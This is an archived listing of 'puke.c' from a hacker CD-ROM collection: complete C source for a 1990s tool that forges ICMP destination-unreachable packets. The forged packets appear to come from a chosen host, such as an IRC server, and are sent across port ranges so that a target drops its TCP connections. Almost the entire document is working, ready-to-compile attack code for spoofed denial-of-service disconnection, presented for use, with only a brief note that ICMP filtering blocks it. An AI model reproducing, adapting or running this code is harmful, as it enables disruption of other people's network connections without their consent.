home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / puke.c < prev    next >
C/C++ Source or Header  |  2001-11-06  |  9KB  |  324 lines

  1. /*****************************************************************************
  2.  * puke - By Cowzilla, and Pixel Dreamer
  3.  *****************************************************************************
  4.  
  5.    puke spoofs an icmp unreachable error from an irc host (or any other
  6. host for that matter), to a target host, from a source port(s), to the
  7. target port(s).  The target host will (hopefully) pass this error up to
  8. the application layer and the TARGET will drop the connection from the
  9. SOURCE.  We say "hopefully", because through enabling IP Firewalling and
  10. filtering out ICMP Unreachables a host can be immune to these attacks
  11. (most ISPs, and larger networks have some sort of firewall configured, but
  12. some still, do not filter out our ICMP Unreachable messages).
  13.  
  14. Modified October 13, 1996 - Pixel Dreamer
  15.     +Output modified greatly, description of ICMP being sent
  16.     +Small optimization techniques applied, more to be applied later
  17.     -Upper to Lower bounds disabled on accident
  18.  
  19. Modified October 13, 1996 - Cowzilla
  20.     +Better descriptions of ICMP message
  21.     +Upper to Lower bounds reinstated :P
  22.  
  23. -----------> Syndicate 96
  24. *****************************************************************************/
  25.  
  26. #include <sys/types.h>
  27. #include <sys/socket.h>
  28. #include <netinet/in_systm.h>
  29. #include <netinet/in.h>
  30. #include <netinet/ip.h>
  31. #include <netinet/tcp.h>
  32. #include <netinet/ip_icmp.h>
  33. #include <netdb.h>
  34. #include <string.h>
  35.  
  36. #define PACKETSIZE (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
  37.                         sizeof(struct iphdr) + 8)
  38. #define ICMPSIZE   (sizeof(struct icmphdr) + sizeof(struct iphdr) + 8)
  39. #define offsetTCP  (sizeof(struct iphdr) + sizeof(struct icmphdr) + \
  40.                         sizeof(struct iphdr)) 
  41. #define offsetIP   (sizeof(struct iphdr) + sizeof(struct icmphdr))
  42. #define offsetICMP (sizeof(struct iphdr))
  43. #define offsetRIP  (0) 
  44.  
  45. static int thecode;
  46.  
  47. u_short cksum(u_short *, int); 
  48. void sendkill(char *, int, char *, int);
  49. void resolve_address(struct sockaddr *, char *, u_short);
  50.  
  51. u_short cksum(u_short *buf, int nwords) 
  52. {
  53.    unsigned long sum;
  54.  
  55.    for (sum = 0; nwords > 0; nwords--)
  56.       sum += *buf++;
  57.    sum = (sum >> 16) + (sum & 0xffff);
  58.    sum += (sum >> 16);
  59.    return ~sum ;
  60. }
  61.  
  62. void resolve_address(struct sockaddr * addr, char *hostname, u_short port) 
  63. {
  64.    struct  sockaddr_in *address;
  65.    struct  hostent     *host;
  66.  
  67.    address = (struct sockaddr_in *)addr;
  68.    (void) bzero( (char *)address, sizeof(struct sockaddr_in) );
  69.    
  70.    /* fill in the easy fields */
  71.    address->sin_family = AF_INET;
  72.    address->sin_port = htons(port);
  73.    
  74.    /* first, check if the address is an ip address */
  75.    address->sin_addr.s_addr = inet_addr(hostname);
  76.    if ( (int)address->sin_addr.s_addr == -1) {
  77.         /*it wasn't.. so we try it as a long host name */
  78.         host = gethostbyname(hostname);
  79.         if (host) {
  80.                 /* wow.  It's a host name.. set the fields */
  81.                 /* ?? address->sin_family = host->h_addrtype; */
  82.                 bcopy( host->h_addr, (char *)&address->sin_addr,
  83.                 host->h_length);
  84.                 }
  85.         else {
  86.                 /* oops.. can't find it.. */
  87.                 puts("Couldn't resolve address!!!");
  88.                 exit(-1);
  89.         }
  90.    }
  91. /* all done. */
  92. }
  93.  
  94.     
  95. void sendkill(char *fromhost, int fromport, char *tohost, int toport)
  96. {
  97.     char *packet;    
  98.     static struct sockaddr_in local, remote; 
  99.     static int sock = 0;
  100.  
  101.     if (!sock) {
  102.        resolve_address((struct sockaddr *)&local, fromhost, fromport);
  103.        resolve_address((struct sockaddr *)&remote, tohost, toport);
  104.        sock = socket(AF_INET, SOCK_RAW, 255);
  105.           if (sock==-1) 
  106.           { 
  107.              perror("Getting raw socket");
  108.          exit(-1);
  109.           }
  110.     } 
  111.     /*
  112.      .  Get memory for the packet 
  113.     */
  114.     packet = (char *)malloc(PACKETSIZE);
  115.     if (!packet) {     
  116.        perror("Getting space for packet");
  117.        exit(-1);
  118.     }
  119.  
  120.     /*
  121.      . Fill in our pretended TCP header 
  122.          . note - since this was allegedly an outgoing packet...  we have
  123.          . to flip the source and destination stuff 
  124.     */
  125.     { 
  126.        struct tcphdr *fake_tcp;
  127.        fake_tcp = (struct tcphdr *)(packet + offsetTCP);
  128.        fake_tcp->th_dport = htons(fromport);
  129.        fake_tcp->th_sport = htons(toport);
  130.        fake_tcp->th_seq = 0x1984;
  131.     }
  132.     /* 
  133.      . fill in the fake IP header.
  134.          . the same reversal as above still applies.. the packet was sent
  135.          . to our machine (yeah right)
  136.     */
  137.     {
  138.        struct iphdr *fake_ip;
  139.        fake_ip = (struct iphdr *)(packet + offsetIP); 
  140.     
  141.        /* these fields are irrelevant -- never checked?? */
  142.        fake_ip->version = 4;
  143.        /* this was much longer.. once */  
  144.        fake_ip->tot_len = htons(0x2C); 
  145.        fake_ip->tos = 0;
  146.        fake_ip->id = htons(getpid() & 255); 
  147.        fake_ip->frag_off = 0;
  148.        fake_ip->ttl = 24; /* not so long to live anymore */
  149.        /* this CAN'T be checked..so do something != 0 */
  150.        fake_ip->check = 3805;  
  151.     
  152.        /* these fields are used ..  */
  153.        fake_ip->ihl = 5; 
  154.        bcopy((char *)&local.sin_addr, &fake_ip->daddr, 
  155.         sizeof(fake_ip->daddr));
  156.        bcopy((char *)&remote.sin_addr,&fake_ip->saddr, 
  157.         sizeof(fake_ip->saddr));
  158.        fake_ip->protocol = 6;  /* a TCP packet */
  159.     }
  160.  
  161.     /*
  162.      . fill in the ICMP header 
  163.      . this is actally rather trivial, though don't forget the checksum 
  164.     */
  165.     {
  166.        struct icmphdr *icmp;
  167.         icmp = (struct icmphdr *)(packet + offsetICMP);
  168.     
  169.        icmp->type = 3;
  170.        icmp->code = thecode; /* this will generate an error message */ 
  171.        icmp->un.gateway = 0;
  172.        icmp->checksum = cksum((u_short *)(icmp), ICMPSIZE >> 1);
  173.     }
  174.     /*
  175.      . finally, fill in the IP header 
  176.        . this is almost the same as above.. though this time, it is the
  177.          . ip header that really takes the packet places. make sure the 
  178.      . checksum and addresses are right 
  179.     */
  180.     {
  181.        struct iphdr *real_ip;
  182.        real_ip = (struct iphdr *)packet;
  183.     
  184.        real_ip->version = 4; 
  185.        real_ip->ihl = 5;
  186.        real_ip->tot_len = htons(PACKETSIZE);
  187.        real_ip->tos = (7 << 5) | 4;
  188.        real_ip->ttl = 255;
  189.        real_ip->protocol = 1; 
  190.        real_ip->check = 0;
  191.        real_ip->id = htons(3);
  192.        real_ip->frag_off = 0;
  193.            bcopy((char *)&local.sin_addr, &real_ip->saddr, 
  194.         sizeof(real_ip->saddr));
  195.            bcopy((char *)&remote.sin_addr, &real_ip->daddr, 
  196.         sizeof(real_ip->daddr));
  197.  
  198. /*
  199.        real_ip->saddr = htonl(ntohl(real_ip->daddr) & 0xffffff00L);
  200. */
  201.        real_ip->check = cksum((u_short  *)packet, 
  202.         sizeof(struct iphdr) >> 1);
  203.     }
  204.     /*
  205.          . 
  206.      . and now.. finally...  send it out into the net 
  207.     */
  208.     {
  209.        int result;
  210.  
  211.        result = sendto(sock, packet, PACKETSIZE, 0, 
  212.             (struct sockaddr *)&remote, sizeof(remote));
  213.        if (result != PACKETSIZE) {     
  214.             perror("sending packet"); 
  215.        }
  216.  
  217.     }
  218. }
  219.  
  220. char *ICMP_TYPE(void)
  221. {
  222.    char *mytype;
  223.    mytype = "Unknown Type";
  224.    switch(thecode)
  225.    {
  226.       case 0:
  227.          mytype = "Net Unreacheable";
  228.      break;
  229.       case 1:
  230.          mytype = "Host Unreacheable";
  231.      break;
  232.       case 2:
  233.      mytype = "Protocol Unreacheable";
  234.          break;
  235.       case 3:
  236.          mytype = "Port Unreacheable";
  237.      break;
  238.       case 4:
  239.      mytype = "Fragmentation Needed (doesnt cause reset)";
  240.          break;
  241.       case 5:
  242.      mytype = "Source Route Failed";
  243.      break;
  244.       case 6:
  245.      mytype = "Net Unknown";
  246.      break;
  247.       case 7:
  248.      mytype = "Host Unknown";
  249.      break;
  250.       case 8:
  251.      mytype = "Host Isolated";
  252.      break;
  253.       case 9:
  254.      mytype = "AuthNet";
  255.      break;
  256.       case 10:
  257.      mytype = "AuthHost";
  258.      break;
  259.       case 11:
  260.      mytype = "NetSvc";
  261.      break;
  262.       case 12:
  263.      mytype = "HostSvc";
  264.      break;
  265.       case 13:
  266.      mytype = "Packet Filtered";
  267.      break;
  268.       case 14:
  269.      mytype = "Precedence Violation";
  270.      break;
  271.       case 15:
  272.      mytype = "Precedence Cutoff";
  273.      break;
  274.    }
  275.    return(mytype);
  276. }
  277.  
  278. main(int argc, char *argv[]) { 
  279.    int si, i, codes;
  280.     
  281.    if ((argc < 8) || (argc > 9)) 
  282.    { 
  283.       puts("usage:");
  284.       puts("   puke <source host> <source port low> <source port high> \\");
  285.       puts("      <target host> <target port low> <target port high> <unreach type> \\" );
  286.       puts("      [-v] (optional verbose mode)");
  287.       exit(-1);
  288.    }
  289.  
  290.    thecode = atoi(argv[7]);
  291.    printf("Using ICMP Destination Unreacheable Code %d [%s]\n", thecode, 
  292.         ICMP_TYPE());
  293.  
  294.    for (si = atoi(argv[2]); si <= atoi(argv[3]); si++) 
  295.    { 
  296.       printf("*** Source Port: %d\n", si);
  297.       if (argc == 8) 
  298.          printf("*** Target Port : %d to %d\n", atoi(argv[5]), atoi(argv[6])); 
  299.  
  300.       if (atoi(argv[5]) <= atoi(argv[6])) 
  301.       {
  302.          for (i = atoi(argv[5]); i <= atoi(argv[6]); i++) 
  303.          { 
  304.         if ((argc > 8) && (strcmp(argv[8],"-v")==0)) 
  305.            printf("%d \n", i);
  306.         sendkill(argv[1], si, argv[4], i);  
  307.         usleep(30000);
  308.      }
  309.       } 
  310.       else 
  311.       {  
  312.          if (argc == 8) printf("*** Target Port : %d downto %d\n", 
  313.         atoi(argv[5]), atoi(argv[6])); 
  314.          for (i = atoi(argv[5]); i >= atoi(argv[6]); i--) 
  315.      { 
  316.         if ((argc > 8) && (strcmp(argv[8],"-v")==0)) 
  317.            printf("%d \n", i);
  318.         sendkill(argv[1], si, argv[4], i);  
  319.         usleep(30000);
  320.      }
  321.       }
  322.    }
  323. }                
  324.